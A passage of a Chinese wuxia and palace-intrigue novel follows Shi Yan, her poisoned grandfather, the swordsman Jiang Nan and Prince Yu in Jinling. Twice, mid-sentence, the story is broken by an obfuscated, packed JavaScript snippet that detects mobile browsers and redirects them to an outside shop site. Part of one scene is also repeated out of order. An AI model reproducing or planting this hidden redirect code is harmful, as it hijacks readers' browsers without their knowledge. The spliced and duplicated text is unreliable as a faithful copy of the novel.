“如今你我二人中了奸人之计,害了石老英雄,若是圣女再带不回去,也无颜活于世上了!” “什么活不活死不死的。”女使小声用瑶语说道,“旁边那孩子应该是石曾忆的儿子,他不配养,便由我们代劳吧,既然圣女喜欢以宝贝要挟,我们自然也可以其人之道还治其人之身。”说罢她便猛地上前,一把抓起另一边独自坐着的石方,飞身跃上男使身后的院墙,单手扼住孩子的咽喉,改用汉语说道,“尊敬的圣女,放松一点,你松开金鳞蛊,我放下孩子,怎么样?” 陆其陇一声惊呼,“方儿!”石焉也一下子着急起来,弟弟年幼,如何受得了扼喉之痛,正要答应放手,院侧几棵茂密的白杨树间突然划过一道身影,直逼女使而去,此人一直隐身于众人视线内的树上,却无一人发现,轻功了得,不容小觑。石焉再一瞧,竟然是前天洞中偶遇的那位公子。 陆其陇认出,来人是江南。 男使见状立刻跃起,半路接下他的掌风,两人打了起来,陆其陇见到情况有变,立刻反应过来,去抢女使手里的孩子,石曾忆救子心切,也加入混斗,五人斗在一起,现场立刻换了三对二的局面,双使手里抱着孩子,眼见越打越落下风,双方使一个眼色,袖中一甩放出烟雾,对面三人不得已各自后退一步,二使已经抱了孩子施展轻功离去了。石曾忆和陆其陇夫妇救子心切,施展轻功便追了上去。 江南见四人都走了,便不再去追,回头对石焉和石难黎道,“石帮主如何了?我在林中听见他们三人的对话,就跟了来。那央月教的二使的确把解药给了令郎,他说自己扔了…应该是实话。” “我知道,伯父一向心狠,他做的出来。不过好在方才伯母封穴位及时,爷爷往后每日运功一个时辰,也能抑制毒发。”她收好金鳞蛊,转头看向石难黎,后者微弱地点点头。“但要想复元四肢灵活,必须根除此毒,而这世上或许只有肖神医还有几分可能研制出解法。” “他在哪?我马上去请他过来。”江南急道。 “在徒太山。”石焉的声音都在颤抖。 她像是为自己鼓气似的,强行维持着坚强的体面,控制着嗓音道,“公子,多谢你二次出手相救,只是我们现在落魄不堪,难有回报,等治好爷爷,若有机会再拜公子。” “石姑娘,在下在京城认识一位朋友,他十分神通广大,不如先送石帮主去那,看看他有无办法,此去京城,总比徒太山要近的多了。” “京城?不知公子可否方便告知是谁?”石焉心中愁上添忧,既然这位江公子尾随二使而来,无疑已经把自己是瑶疆央月教圣女的身份摸了个大概,不妨直言,救爷爷要紧。她道,“想必公子刚刚也听到了,我本是央月教的人,身份尴尬,拜访京城权贵,恐反生事端,牵连爷爷。” “你放心,到时我只带石帮主一人前去,姑娘不必露面。那人的姓名恕在下暂不能透露,一是因为还未经过他允许…二是因为在下其实也无把握他便能医好石帮主。如若到时候不行,在下再送你们去徒太山。” 石焉心知爷爷的毒拖一天都会更难治一分,虽然性命已经无虞,但手脚受到限制,不能施展武功,比要了他的命更痛苦。眼下看来这位公子的确是值得信赖的侠士,既然去徒太山也要经过京城,便先去那里吧。 “好,那麻烦公子了,救命之恩绝不敢忘。石焉在此拜谢。” 她说完,双膝跪地,两手交握,郑重叩了下去,眼泪终于一滴一滴砸在地上。 6. 第一章第三节 虽是晚上,一行三人也不打算耽搁,石焉去车行买了车轿,由江南骑马牵着,连夜赶路走了。行出几个时辰后,石焉从车轿里钻出来,和江南一道坐在车前,这时候石难黎刚刚睡着。 “还未请教公子姓名?” “在下江南。” “江公子。”石焉顿了顿,想起来还没介绍过自己,遂道,“我叫…” “我知道你的名字,”江南转过头看向石焉,对视上又不自然地挪开眼神,“石…焉,石姑娘。” “听闻姑娘下午一直昏迷,现在可好了吗?”江南又道。 “无妨。”石焉看到车板上的两截断刀,便避开话题道,“江公子的刀?” “在下学艺不精,这是被玉面夫人折断的。” “你和玉面夫人交手了?那你…江公子可有受伤?” “我没事,一点内伤,她没有对我下重手。”这回轮到江南有些不好意思了,“石姑娘不用一直叫我江公子,叫我江南就行。” “江南,江南公子。”石焉还是有些拘束,直呼名字后好像还是加上公子二字更妥当,她得知江南身上带伤,还为救方儿与二使交手,此刻又舟车劳顿,便继续道,“再过半个时辰便是子时了,咱们找个地方休息,明日再行。” 车轿行到扈州境,城门早已下锁,三人决定在城外林里对付一晚,隔日一早再继续赶路。 石焉回到轿内,石难黎不知什么时候醒了过来,只是精神恍惚,眼神涣散,石焉心下一酸,只轻声道,“爷爷,我收拾东西时带了些用得着的药材,我喂你吃了可安神好睡。” 她从包袱里拿出一个榫卯机关盒,这长条盒子是母亲留下的遗物之一,盒长四寸宽两寸,高约五指,内置三层十八小格,最底层是两条长格,每层每隔皆设置不同机关,巧夺天工,精妙绝伦。 石焉拨动榫卯,打开上层中格,取出一颗红色丹丸,喂石难黎就水服了。 等他慢慢睡着后,石焉弯腰出厢,看到江南正运功调息,她回身又从盒中取出一株枯草样的东西,静静站于身后,等江南运行完一轮,她走上前去,“这是金鳞蛊吃的龙崖草,一株难得,对内伤有奇效,虽然口感有些干涩,但是一株的疗效,能助你运功后成效加倍。” “这么珍贵的药,还是给石帮主和姑娘的虫子留着吧。”江南有些过意不去。 “爷爷内在无伤,这草对解毒并无作用,至于我的虫子,”石焉淡淡一笑,“你不必担心,它的胃口可比人小多了。” 江南也不再推脱,接过一口塞入嘴里吞了。果然过不多时就感觉体内暖流遍涌,傍晚与苗疆二使对战时内力还施展不畅,多处穴位似有堵塞不通之状,方才运功许久也才打通一两处,此刻他试着微微汇内力于掌中,便可明显感到体内畅通无阻,手掌之上微气浮现,已是全然好了。 “多谢姑娘赐药,已经这么晚了,请你快回车中休息吧,我在外面守着。”江南鞠躬作揖。 石焉心里惊讶,石家精于水运,算是半个富商,但她从未把自己当过高门小姐,从方才起她就觉得这位公子虽相貌俊逸,言语行为上却十分自轻,是妄自菲薄吗?还是真的觉得自己微薄卑秽呢,她忙道,“你既让我叫你名字,又何必对我如此客气。我不是名门千金,你也不是侍卫兵卒,赐和请这样的尊称我万万用不上,大家都算是江湖中人,自然是一样平等的,江公子切莫自谦。” 石焉又道,“今日原是我石家对不住公子,原本此次大会所有受伤的朋友,都应该由我们带回照护的。可惜伯父他…致使公子内伤却无人看顾,石焉在此先赔罪了。”说罢便弯腰作下揖去。 “石姑娘,你今日又是跪谢报恩又是鞠躬赔罪的,在下如何受得起?”江南忙将她扶起。 “那公子也莫要再对我如此客气了。就按公子所说,我便改口叫你江南,你也直呼我石焉就是了。如何?” “石焉,”江南发现自己还托着对方的胳膊,马上收回手,摸了摸鼻子。 “还是石焉姑娘吧。”他道。 次日大早,继续北行,过扈州,晚上已经赶到了乐进夔,石焉寻了一家客栈,自己与石难黎一间,江南一间,三人在此处安顿下来。 石难黎运功完毕,看见石焉还在一旁不停翻阅医书,他叹了口气,唤道“焉儿”。 “爷爷,你感觉如何?” “焉儿,爷爷一生习武,本也到了该退隐江湖的时候,此毒难解,若让我衣食住行皆要人伺候而自己动弹不得,这种苟活的方法我断断不能接受。不过我知道,如果我说不想治了,你必得生气。” “所以爷爷向你保证,一定不放弃一点点希望,你说去徒太山,咱们便去。但是你也要向爷爷发誓,如果最后还是徒劳,我一横了之容易,你却万万不可做傻事。” 石焉攥紧拳头,泪如雨下。 “金鳞蛊与我心神一体,如果不是今日我失去控制,它不会出现这样的叫声。央月二使一定是听到了虫鸣才找上我。又看您和伯母一直看护着我,他们没有机会下手,才去找上了伯父,要先让爷爷你失去动武的能力。是我害…” “是你害的我至此吗?是你给他们出的主意吗?是你让石曾忆下的毒吗?是你让他把解药扔进西湖吗?我的孙女,你什么时候能学会不替他人抗错!” “我知道了,爷爷。焉儿发誓,不论徒太山之行能否圆满,孙女绝不做傻事。何况许多事都没完成,伯母受惊不浅,方儿也不知下落,还有九顷,绝不能落入伯父手中。” “这才是我养的好孩子,九顷水帮是我一手创立的,若我出面,他们自然还是会奉我为主。只是…”石难黎却闭口不言了。 “只是帮里贪权之人怕不止伯父一人,如果叫众人知道爷爷此刻武功尽不能施展,恐挑衅者不断,会有更大祸乱。伯父虽然心坏却还不至于太傻,只要他打着爷爷你亲自传位的名号,这帮主之位自然名正言顺坐的稳。” 追名逐利之事,上至帝王社稷,下至帮派教会,糟污得很。 “对了爷爷,那火焰里的人影是谁?可救下来了吗?” 石难黎叹了口气,放低声音悄声道,“那女娃娃是肖云翎带来的,据她所说,是杀害五派掌门的凶手。来时手脚已都断了,肖云翎先把她杀了,再焚火烧的。她下手利落,一剑毙命,在场没有一个反应过来的。” “什么?” “你应该也知道,玉面夫人要杀的人,从轮不到旁人插手。” 这间客栈正是凌霄宫下辖的分栈——归留园,石焉也是看见门口摆放的一盆白山茶才进来的,肖云翎曾经给她一块令牌,告诉她门边摆上白山茶的店,都是凌霄宫收集线索所设的辖点,出示信物,所有弟子都会听她派遣。只是石难黎武功尽失一事不宜外扬,石焉便没有表明身份,又拿了一顶草帽给爷爷带上,才入店住下。石难黎知道这一点,所以以只有两人能听见的轻微声音说话,可句句落在石焉耳里仿佛有千斤重。她不是不知道自己这位人称玉面夫人的肖姨妈武功决顶,杀人无数,可这次亲眼所见,她仍觉得不可置信。 “也不知道那姑娘可有好好安葬。” “焉儿,有一事我也要问你,江南这孩子,可是上次下雨那晚救下你的人?” “正是。” “以前从没听说过这个名字,这次大会倒是让他声明鹊起了。据其陇说,他在会场上和肖云翎交手过了百招,这在年轻一辈当中简直不可想象,卷云洞捡到宝了啊。” “他是卷云洞的弟子?” “嗯,他的刀虽然普通,但我见到他和宋家女弟子比试的时候运用的是卷云刀的刀法,且其陇告诉我,后来他和肖云翎对战中,已经用出了最高的第四十九式,还十分娴熟。只怕他师父也未必能随心所欲地使出这一式啊。” “他说他的刀便是被肖姨妈折断的,只是不知他们二人为何会过起手来。” “是啊,我心里还有一个疑问,总觉得这孩子面熟的很,却不知到底在哪见过。” “爷爷也觉得他面熟吗,我也是。”石焉微蹙眉头,“我一定在什么地方见过他。” 又行了一日,三人晚间便到了金陵城,石焉为保妥当,照例没有表明身份,依然找了一家凌霄宫的归留园,只怕有突发情况也好及时求援。 江南将石难黎背进客房,道:“石焉姑娘,你和帮主今晚先好好休息,我明日一早就去找我朋友,再带帮主前去。” “娃娃,这几日你受累了。”石难黎说道。 “前辈说的哪里话,我本也要回金陵,顺路相送。” “那我此时再麻烦你一件事不知可不可以?” “前辈请讲。” “今日赶路我有些疲惫,想请你帮我运功一时辰,可方便?” “自然无妨。” 江南盘腿坐在对面,内力升腾,运功周转,与石难黎双掌相贴,掌气氤氲中,两人都有些出汗。石难黎一下子就感到江南的内功深厚无比,却寒冷如冰,与一般人修炼的心法完全不同,常人都是先习基础招式,一至两年后再接触内功心法,期间伴随着各自门派不同的武器籍法,难度渐长,如此循环。 且内功大多乃炽热温流,可江南的内力似乎正相反,他体内的内力像是先被人一股脑被灌输进去的,再和年龄一起相生相长,逐渐化为己用。这便也解释了他小小年纪,内力却分明已到了足以和自己一较高下的水平,但他却尚不会运用,似乎是只能使出四五成,其余的都积于心肺,就像微瀑之于巨泉,涌出的只是其中小流,后头才是鸿澄深渊。 这样寒冰般的内力世上只有一种方法练就,便是横逆心法,而要练此法非数年不可成,世上已知练成的唯有两人。一人是肖云翎,可哪怕天资过人如她也直至二十有二才练就,从而问鼎武林。而除了她之外,便只有当年出了一位林惊时将军,前不见古人后不见来者,天才绝伦,仅二十岁便修成这门内功。他的长相的确面熟,加上肖云翎的凌霄宫向来是传女不传男,那么… “林惊时是你什么人?” “什么?”江南的表情似乎不明白为什么三天之内两位高手都问他这个问题。 两个人运功避毒结束,石难黎决定换一种问法,“你的内力是谁传的?” “我也不知道。师父只说她捡到我的时候,我虽尚是个婴儿,但身体里已经被传了横逆功法,只是我和师傅都不懂这门心法,只能摸索着来,晚辈资质普通,直到现在也才掌握不到一半。” “不是你资质普通,横逆心法如果在没有原籍的基础上,能练成这样已经非常难得了。” “前辈刚才问林惊时…” “你说体内被传内功,应该就是林惊时将军传于你的。” “什么?!”江南和石焉异口同声。 “这世上只有林惊时将军和玉面夫人两人先后练成过这本心法,你说你那是仍是婴儿,我虽不知你今年多大,且算是二十年前,玉面夫人那时尚未有所成,只有林将军已经练就,而能将强大功法安全传于小小婴儿体内的,更加只有林将军一位了。” 石难黎看向他的表情有些莫测,猜测后者大概是不明白只存在于众人口中的林惊时将军,为何要将绝世功法传于自己一个弃婴呢? 江南有些激动,又有些落寞,这些事,素未谋面的两人都能一接掌力便得知,为何师父却从未告诉过我。 晚上江南没有住在客栈,他决定先去找“那个朋友”。 傍晚屿王府 走入府的时候,顾念怀第一个来迎接了他。“快进去吧,殿下一直在等你。” 推开书房的门,立于屏风前的人一身钴色暗纹锦袍,金簪绕发,束髻成冠,他伸开双臂,正如顾念怀所说,他在等你。 江南兼日疲惫,脑海里犹存山青惨死异乡,碑不能铭,他回想起出发时的无所畏惧,恣意张扬,于是推开书房大门的一刻他就有些情难自制,低头看了看自己肮脏的衣裳,白衫已成了灰衫,他后退半步,单膝行礼:“参见殿下。” 对面的人迎上前将他扶起,“我都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253646|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收到消息了,山青姑娘的事,大家都没想到…想哭就哭,这里只有我与念怀。” 江南用衣袖抹干眼睛,摇摇头。 “殿下,先有另一事要向您禀报。”江南收敛好情绪,道,“九顷水帮的帮主石难黎,这次澄清大会上想不到居然被从小养到大的义子下毒暗害,险些丧命。”江南此话一出,另外两人都有一瞬间的神情变化,他心系石家祖孙,只继续道,“他中的是一种叫牵机的毒,我想请殿下,能否把最有名的大夫请来为他治一治。” “九顷水帮。”屿王转开头,若有所思。 顾念怀接过话去道,“九顷水帮自石帮主设立来已有三十多年,在越蛮几地十二个州都有分舵,弟子有近千人,不过这个帮派平时不聚集,由各自的分舵主带领习武,做事。而且九顷水帮有一个非常特殊的地方,就是他们不仅涉足江湖,还把持着大部分船运所需的人力物力,甚至当地官府水运往往都会启用他们。” “他们不缺钱也不缺权,若这次能帮上忙,倒是个与九顷水帮结下恩情的好机会。况且…”屿王没说下去,他搓了搓手心,“江南,石帮主你可带到金陵了?是否还有旁人?” 江南明白他的所指,“帮主和其孙女,就在城内客栈。” “好,明日一早我让念怀亲自去接,再请城中最好的大夫。” “殿下,还有一事。”江南的神情有些不自在,他瞥了眼屿王的脸色,继续说道,“我当时说的时候不敢暴露殿下身份,所以说的是,我的朋友…” “哈哈哈哈哈哈哈。”对面的两人一同大笑起来,屿王走过来,结实地拥抱住江南,“你从来就是我的好兄弟。” 两个人抱在一起,沈谛祝重重拍着江南的后背,笑骂道,“拿酒!刚刚进门就准备慰劳你的!” 江南喝不下多少,也没有打算睡在王府,他回了卷云洞,向师父汇报完此行之后,换来的是不出意外的一顿教训。 “废物!在那么多人面前被肖云翎羞辱,你把卷云刀法的脸都丢尽了!还叫她当着你的面杀了山青,这是把我的脸按在地上踩!山青死不足惜,可肖云翎杀的如此刻意,她这是故意在向我示威!我倒要问你,她杀人的时候,你为何不拦?!” “我当时没反应过来。”江南跪在地上。 “第一次杀人没反应过来,第二次焚火还没反应过来吗?!江南,卷云刀的法则在于‘快’这一字,你这些年都白练了吗!我看你就轻功本事没忘,出了事情脚底抹油溜得比谁都快!我让山黛和你同去,结果你们俩呢?一个输给肖云翎,一个还有脸打扮的花枝招展自己跑回来!” 山黛一听罪及自己,马上也跟着跪在江南边上。她那晚醒来时澄清大会早已结束,走下楼便听到掌柜的交代的话,本打算出去打听打听大会情况,又想起头天晚上自己输的丢人,再回去晚了师父定会生气,反正她一向相信大师兄从来办事稳妥,此时定已经在回去路上,自己也得赶紧回来的好。 她一路独行,自然比江南拖车带人的快了不少,回到卷云洞时师父已有不满,她本盼着师兄带着一切顺利的大好消息回来,一平师父怒火。却没想到听到的是山青死了,卷云刀输了。 “山黛,你拿鞭子,给我狠狠地抽你师兄!抽五十鞭,不许停!”她丢下这句话,便回去自己的石室了。她是卷云洞主,一向喜欢以自相残杀的形式惩罚他们弟子四人,山黛最怕的就是这个,和山青不同,后者每次轮到这种差事都平静实施,而对于心性稚拙的山黛而言,叫她打师兄,还不如打自己。 “啪!”第一鞭下去,后背上便已隐见血痕,山黛委屈的眼泪直掉,接着又是两鞭,江南未哼一声,山黛倒是叫个不停。 “山黛,给我。”一直站在一旁的另一年轻男子走了过来。 “二师兄?” “师父能听到,小点声。”来者正是卷云洞二弟子——江北。他拿过她师妹手里的长鞭,道,“我替你打,别哭了。” 江南回过头,两人相视便即会意。江北比他小两岁,两人一起练武,一起长大,虽然不及江南用功,但他聪敏伶俐,倒也对得起二师兄这个名号。他心疼受罚的二人,便由自己接手,举手挥鞭,声音打得响亮,落到江南背上时他却用力卸去一半的威力。五十鞭后,自己出了一头的汗,手臂都酥麻了,而绕是如此,江南背上也仍烂了一大片。 “山青最后是什么样子,埋了吗?”两人回到就寝的石室上完药后,江北问道。 “你是第一个问我这个问题的。” 江南的脸上是说不清的神色,“她被烧的只剩下骨头,我把她葬在西子湖边的一处林子了。” “葬了就好。”江北瞧了眼师兄,又道,“难道你那位权贵主人也没过问山青后事?这任务可是他派你去的。” “想哭就哭,这里只有我与念怀。”衣着华贵的人轻轻开口。 听到这句话的江南不是不动容,可他的朋友不该承担和自己同样的痛绪。 于是江南用衣袖抹干眼睛,摇摇头。 屿王用力捏了捏江南的肩膀,已经换了话题,“可惜这次没能如愿顺势压了凌霄宫的威风,后头只怕有些麻烦。” “卑职一定潜心用功,早日修成横逆心法,便可与玉面夫人一敌。”江南低下头,他咽下所有的隔阂与失落,也藏起自己差点融化的防线。 他没问。 “我那天见到几株恶客开了花,随便采了几朵,编了个环饰,山青不喜欢花里胡哨的东西,就喜欢这白色恶客。”江北摩挲着这枚小小发饰,眼眶有些湿润,“马上就是她的生辰,本来想着她这段时间玩够了该回来了,正好送给她。” “送给山黛吧,今天我刚回来时她不知为何又叫着喜欢起纯白的物件了。” “行。”江北一下子笑起来,趁机点掉眼角的泪,“看看这丫头这次打扮的样子,是该添置点素净的。” 两人都默契地没再提山青,这个女孩短暂的十六年生命,此后只会在江南江北两人心中留下印记。 7. 第二章第一节 次日早晨,江南早早来了客栈,石焉已经在为祖父收拾细软,她换了一身牵牛紫的布裙,对襟是稍浅的藕合。她不喜罗纱,纵使时天下贵族女子皆以穿纱为兴,九顷水帮也多次运送名贵纱料入杭,可石焉总是把弟子送上来的,又作为画舫游船中的彩头送出去,“我常常出外行医,纱衣多有不便,百姓见了也会觉得是在显现宝异。”她总是这样讲。布衣又何妨,手持未染彩,绣为白芙蓉。 “江南公子,这些是祖父这几日或许会用到的东西,烦请你帮我转交。” “放心吧。我朋友马上就派人来接石帮主了,你之前说担心央月教身份,不如先到外头回避?” “嗯,好。” 石焉离开客栈,躲入一旁的巷道。不久就看见一辆马车停至客栈门前,下来一位年轻男子,车架遮挡,石焉看不清面目,只看那人身穿黑色常服,足蹬长靴,腰束阁带,钩挂玉佩,非富即贵。他与江南交谈几句,两人把石难黎背入马车,一并走了。 石焉在街上随意走着,她心中思索,其实江南第一次说到自己在京中的朋友之时,她就想到自己在此也有一位显贵旧识,而当初答应跟随江南前来金陵,是否也因为自己抱有一丝私心希望,希望这位旧识仁始如终,可堪一托。 如若前去拜访,万一江南那头无法可治,自己兴许能为爷爷再多觅一条路。可她心里实是一点底都没有,七年过去,自己已成百姓之身,对方仍是五侯七贵,他是否愿意一见也未可知。 且尽力一试吧。 屿王府位于金陵城北,石焉提裙走上石阶,道,“民女求见屿王殿下。” 可两个守卫好像根本没有去通报的意思,她只好再次道,“民女有要事求见屿王殿下,不知两位大人可否代为通传,这是民女手书,殿下一看字迹便知。”她正打算从腰间取出一纸书信。 “郡…”一个男声戛然而止。 石焉抬头看去,一位年轻男子,立于高高的门槛后,讶异地看着自己。 “顾大人。”她欣慰一笑,道。 “殿下要是知道你还平安活着,肯定高兴坏了。”顾念怀在前面引路,他带着石焉往后院走。 “顾大人,你今日早些时候,可曾去过归留园?”石焉却问。 顾念怀停住脚步,回过头来。 “大人现在虽然穿了官服,但腰间玉佩未换。”石焉淡淡一笑。 “哦,看来郡主就是江南所说的那位施药于他的恩人。”顾念怀继续道,“你放心,石帮主已在客房歇下,殿下着人请了孙太医,正在来的路上。” “多谢殿下,也多谢顾大人。” 顾念怀心中有些说不出的滋味,眼前这位曾高高在上的郡主,现在竟称呼自己为“大人”,他一时不知如何开口,只道,“殿下有公务在身,一大早便入宫去了。我先带郡主去王妃处。” 绕过淡湖,假山之后便是王妃居所。一位贵妇头戴彩冠,身披华裳,坐于窗前。 比起幼时家道坎坷,现在的一袭金装才正该配她。石焉再见到祝之笺的第一面,就这样觉得。 “参见王妃。”石焉上前行礼。 祝之笺眼中是不敢相信的神色,“妙常?”她几乎瞬间就要落下泪来。 “王妃,属下先进宫去禀报殿下。”顾念怀告退后,祝之笺把石焉带入内室,两人一同坐在榻上,她这才细细打量起来。 滇南王妃是苗桃疆女,沈妙常却更像中原女子多些。非母亲那般大眼,却更见婉转盛情,美目盼兮,然鼻若琼瑶直起天庭,又十足十传了母亲美貌之灵粹,莺唇映花,齿若含贝,颈如蝤蛴。虽远荡七年,但顾盼生姿犹胜旧时,自是天生丽质难自弃。 “妙常,你这些年都在哪里?滇南王出事后,我们都很担心你,我找了你许久,可总是了无音讯。我几乎都快放弃…可…看到你如今还在世,我真不知要说些什么才好…” “之笺,”石焉见其亲切如幼时,也不再执拗于一时的身份有别,轻轻拉住她的手说道,“你知道吗,今日府上带回来的石帮主,就是当年救下我的人,我已认他做祖父。现在我化名石焉,便是爷爷所取。” “什么?” “此事说来话长,往后我再慢慢告知你。”石焉拂去祝之笺脸上的泪水,道,“我当年听闻皇上赐亲你与兄长,真为你们开心。这些年我虽然在外面,但关于屿王府的传言也听了不少,百姓都说屿王殿下一心一意,大婚三年,不纳一妾,唯对王妃钟情至深。今日见到姐姐一个院落便占据府地一半,足可知兄长对姐姐用情用心。” “殿下对我的确很好,只是我三年仍然无子…”她提到此处有些黯然。 “之笺,你忘了我母亲是做什么的,我这次既然来了,定帮你开好药方,尽力助你心想事成。”石焉握紧她的手。 “那么你呢?你未完成的心愿是什么?”祝之笺的眼神中满是疼惜。 “我想,治好养我多年的爷爷,想查清父亲的死因,想改变央月教的残忍祭礼,想世间不再平白起战争,想看到南唐迎来一位明君。” 祝之笺没有去捂石焉的嘴,她只沉声道,“殿下能帮你。” 五个字的声音很轻,但石焉能感到话里的磅礴深意,也能感到现下的隐忍与克制。她很小就知道兄长的抱负,也钦佩兄长的才智,只是当年父亲的死,让她对兄长的心,却突然有些看不透了。 “王爷冤屈,竟无一人求情。” 她耳边一直记得关于父亲的最后一句消息。 说了半晌话,侍女来报孙太医到了,两人便一同到了客房。孙太医正在为石难黎诊治,他愁眉不展,半晌才道,“体内□□,隐而不发,仅从外症来看,此毒致人首末两端僵硬蜷曲,若想缓解,最好每日按摩,针砭痛处。但若想完全康复,还是需要找到毒源,以及解药,否则再无灵活行动之希望。” 其实和石焉预料的差不多,但她心里还是沉了一下。 送走太医后,石焉主动说道,“没事,金陵治不了,不代表徒太山也治不了,我送爷爷去找肖神医,他定有法子。” “你肩不能扛如何送得?我派人送他去。”年轻的男声在身后响起,石焉转过身去。 屿王回来了。 “殿下。”祝之笺迎了上去,“小顾都告诉你了?” “嗯。”屿王顺势握住祝之笺的手,又转向石焉道,“妙常,这些年你想隐瞒世人那是应当,但也该悄悄来给兄长报个信,这么久,我和之笺的心就没有放下来过。” 骤见故人,石焉有些手足无措。兄长已经从宫城里最小的皇幼子长成了顶天立地的男儿,发束高冠,腰佩贵玉,他已不用再像幼时伪装顽皮,眉宇间尽现志向高远、雄心勃勃,只是行事稳重之下,仍难掩年轻面庞上的少年风发意气。 “参见殿下。” “哎,看来真是疏远了。念怀来报时说郡主对他一口一个顾大人,我还说妙常对我绝不会如此呢。”屿王玩笑着上前扶起她,道,“你从小不会骑马,如何送石帮主去徒太山?你放心,我已派亲卫侍从,即刻便驾车送石老前去。” “多谢殿…兄长,只是我与徒太山肖神医有些渊源,我想亲自陪爷爷前去。” “你跟去,若路上央月的人找来,大家可还要保护你?只会给石老带去更多危险。且你跟在车队里,难免引人注意,若叫太子察觉则更糟,还是继续匿迹的好。” “妙常,殿下说的在理,你并不会武功,石帮主也经不起再三折腾,你留在王府,才是最为他打算的啊。”祝之笺也开口道,“我知道你担心什么,我派府上的医女随同一起上路,每日按太医所说,为石帮主针砭,这下放心了吧。” 石焉心知央月二使的目的只在自己,并不会滥杀作恶,若自己不在,二人决计不会为难爷爷。当下便也答应了。 收拾好行囊后,石焉把爷爷送去门口,石难黎虽行动不便,但神情自若,毫无惧色,他道,“放心焉儿,爷爷答应你的事,一定做到。” 暮色渐起,已是傍晚时分,用膳时屿王挥退了仆从,大家坐于一桌,三个人竟一同流下泪来,便都埋头吃饭,又偷偷擦拭,祝之笺悄悄抬头,见另两人也是如此,“噗嗤”一声笑出来,三人面面相觑,又一同笑起来。 再吃几口,石焉感到颈中一阵跃动,而不过多久—— “殿下。” 顾念怀出现在门口,他的身后还站了一个男子,两人是一样的打扮,黑色官服,腰扎蹀躞,足蹬长靴。 顾念怀行过礼后侧开一步,让出身后之人,正是江南。 石焉突然感觉“哄”的一下脑袋作响。 周围的景物似乎全部急剧倒退起来,玉盘珍馐消逝,琼脂佳酿散去,连小顾和兄长也离开了,她耳边阵风吹过,带起一阵湖水的荷香,裙铃轻脆作响,她透过七年前的眼睛,看到了面前的人。 原来,是你。 何以自己在雨夜的山洞中会觉得他面熟,何以他说在金陵有一位神通广大的朋友,何以七年前他出现在宫中却能一直隐身暗处,何以他和顾念怀会束同样的蹀躞带。你是兄长的暗卫?还是府中的刺客呢。 对面的江南却十分震惊,他不知道石焉这会儿怎么会出现王府。两个人正对视间,屿王咳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253647|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一声,道,“念怀,江南,来坐下一起吃饭。” 桌上顿时变得有些拥挤起来,气氛一时也有些局促,几个人各有心事,唯祝之笺不明所以,一心沉醉在沈妙常还活着的喜讯中,不停给她碟中兼菜。好在一顿饭的功夫不长,很快也就结束了。 饭局上一团和气,众人都说着无关痛痒的吉祥言语,饭毕后江南回到房中,他褪去上衣,感觉背上又火辣辣疼了起来,遂拿出金创药,背对着镜子给自己上药。突然听见有人的声音出现在屋外,他起身隐于门后,声音渐渐走近,大门忽地被推开,来人是屿王。 沈谛祝猛地看见赤着上身的江南一愣,又看见身后矮桌上放着的金创药,他绕到江南身后,果见一片斑斑鞭痕。 “她又打你了?” “是。”江南关上门,拿起药盒准备继续,却一把被沈谛祝夺过。 “府上医官随石老一道去了,现在天色又晚,请大夫不便。我叫妙常来给你看看,她小时候的医术就在军中远近闻名了。念怀!”沈谛祝唤道。 “别,殿下,男女有别,我上些药就行了…”江南顿时有些慌乱,他拿起衣服就要穿上。 “本殿在这,又没让你们孤男寡女独处,有什么不便的。”沈谛祝按住他的手,顾念怀也应声前来,开门就看到两人略有争执的姿势,沈谛祝也不撒手,只继续说,“去把妙常叫来,给江南治伤。” “…是。” 石焉随顾念怀来到此间,见江南满背鞭痕,心下不忍。她从小随母亲为百姓义诊之余,也曾在滇南军中为伤兵行力所能及之事,各类枪剑损伤她自小就见得多了,可越是见得多,不仅没有习惯漠然,反越觉得心痛可怜,越能体会底层人的诸多苦难,便更加立志要尽自己绵薄医力,救人,医命。 她轻轻用烈酒淬过的长针清理去脓血,又以干净棉布擦拭,再更换敷料,涂抹上自己带来的凉玉膏,一切完毕,江南的确觉得疼痛减轻了许多。 “劳烦顾大人差人将这些药煎了,口服之后会好的快些。”石焉这次离杭所带药材并不多,此刻更是将能用上的大半都拿了出来。 “多亏妙常,七日后江南还要替我办件大事,他的战力可不能受影响。”屿王道。 “殿下,这点伤本是家常便饭,定不会误了那件事。” “家常便饭?”石焉问道,“是谁总是这样打你?” “他师父,有些疯病。”屿王提到这里,冷着脸道。 石焉一时不知说些什么,师父往往爱徒如子,可江南的师父却对他如此狠毒。她回想这几日他一再受伤,却还连续做事,又对伤病不发一言。石焉开始以为他是在隐忍,可如今看来,他似乎是习以为常,甚至并不觉得自己遭受这些罪过是有何需要隐忍的辛苦难事。 她心里同情之心更盛,遂问道,“那兄长所说的七日后之事,可凶险?可方便说与我听?” “这里怕隔墙有耳,去我的密室。”屿王唇边露出一抹不易察觉的笑意,让江南趴下休息,自己则带石焉去了书房内的暗室。 密室空旷,而四周的墙上磊满了武器和卷轴,看来屿王的确为皇位,一直在打算筹谋。他也并未打算瞒着自己这一点。 他阖上密室门才道:“是英国公,他见罪于太子,上个月入了大狱,父皇亲自下令,列了死罪,七日后移交大理寺处置。”屿王握紧了拳头,继续道,“英国公是我的人,他手里本无实权,可父皇还要如此偏帮太子,无非是为了打压我。许是我这半年有些太过风光…” 